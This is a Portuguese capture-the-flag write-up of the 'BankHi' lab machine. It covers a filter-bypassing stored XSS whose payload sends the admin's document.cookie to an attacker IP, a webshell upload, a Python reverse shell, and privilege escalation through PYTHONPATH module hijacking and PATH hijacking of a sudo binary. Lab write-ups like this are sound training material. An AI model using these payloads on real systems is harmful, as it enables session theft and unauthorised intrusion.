Escolar Documentos
Profissional Documentos
Cultura Documentos
Write-up bankhi
A melhor parte do Hacking Club é que ele é muito prático. Se você é novo em hacking, experimente.
Varredura nmap:
Precisamos saber quais serviços estão sendo executados nos bastidores e quais portas estão abertas. Então, vamos usar
uma ferramenta chamada nmap.
Ports:
Porta 22 - SSH
Porta 80 - HTTP
Site:
Write-Up - BankHi 1
Ao acessar a porta 80 podemos se registrar em About Us → Bug Bounty Program → Login Page.
Após se registrar temos acesso a página de reports, e podemos ver que foram feitos alguns reports sobre algumas
vulnerabilidades.
Write-Up - BankHi 2
Do lado direito superior, temos um botão para enviar um report.
Testarei um XSS, não é muito comum em CTF, mas se o admin estiver olhando os reports, talvez possamos enviar uma
payload maliciosa para roubar o cookie de sessão.
Write-Up - BankHi 3
Ao olhar o código fonte, podemos ver que ele removeu a nossa tag script e alert, temos um filtro aqui, podemos encontrar a
nossa primeira flag também.
<scrscriptipt>alealertrt(0)</scrscriptipt>
Write-Up - BankHi 4
Ao enviar a payload, podemos ver nosso alert na tela, então sabemos que está vulnerável a XSS =)
Podemos então criar uma payload maliciosa de XSS Session hijacking, assim conseguiremos roubar a sessão do usuário
admin.
<scrscriptipt>
new Image().src='http://<IP>/'+(docdocumentument.cookcookieie);
</scscriptript>
Write-Up - BankHi 5
Agora iremos enviar nosso report com nossa payload maliciosa.
Write-Up - BankHi 6
Após dar um refresh na página, temos a nossa segunda flag e um campo de upload.
Write-Up - BankHi 7
Após ter feito o upload da webshell eu não sei em qual diretório ela foi salva, então podemos fazer um fuzzing de diretórios
para encontrar.
E temos RCE, agora eu verifico se temos python no servidor, assim conseguimos pegar uma reverse shell utilizando o python.
Write-Up - BankHi 8
E temos , segue a payload de reverse shell abaixo:
https://www.revshells.com/
Write-Up - BankHi 9
E após enviarmos recebemos a conexão =)
Shell tty
Atualizando shell simples para TTYs totalmente interativos.
Ctrl+Z
Enter
export TERM=xterm
Indo no diretório raiz temos um aquivo → wecolme.txt, nesse arquivo podemos encontrar a senha do usuário ronald.
Write-Up - BankHi 10
Após logar com o usuário ronald, podemos pegar a nossa terceira flag na home do usuário =)
Podemos executar o script bingo.py com o usuário leia sem precisar fornecer senha do mesmo.
Write-Up - BankHi 11
Como está importando o módulo socketserver, primeiro criaremos um arquivo de módulo malicioso com o nome de
socketserver.py e, em seguida, usando a capacidade de alterar a variável de ambiente PYTHONPATH, faremos uma entrada
para incluir nosso arquivo de módulo malicioso. O arquivo do módulo malicioso conterá uma payload que nós dará a shell do
usuário leia.
Payload socketserver.py:
import os
os.system("/bin/bash")
Write-Up - BankHi 12
Podemos ver que segue o mesmo esquema acima:
Podemos executar o binário sl como usuário root sem senha, e também podemos setar a variável de ambiente =)
Ao executar o binário, vemos uma locomotiva passando na tela 🤣
Uma coisa que me chama atenção é que ao rodar o binário ele aparentemente está executando o comando→ ls , assim
listando nosso diretório atual.
Para confirmar, eu irei mandar esse binário para minha máquina, assim consigo analisar melhor =)
Então irei mandar o binário estático do netcat para a servidor, assim será possível baixar o binário → ( sl ) pra minha máquina.
https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/ncat
Write-Up - BankHi 13
Com o binário do netcat no servidor, podemos executar os seguintes comandos abaixo:
Write-Up - BankHi 14
E temos o binário na nossa máquina =)
Podemos ver no output que realmente ele chama o comando ls direto sem passar o path completo, ou seja, podemos
manipular a variável PATH usando nosso SETENV
Write-Up - BankHi 15
#!/bin/bash
/bin/bash
E somos root =)
Agora basta ler a última flag, mas antes temos que exportar nosso path correto 😅
Write-Up - BankHi 16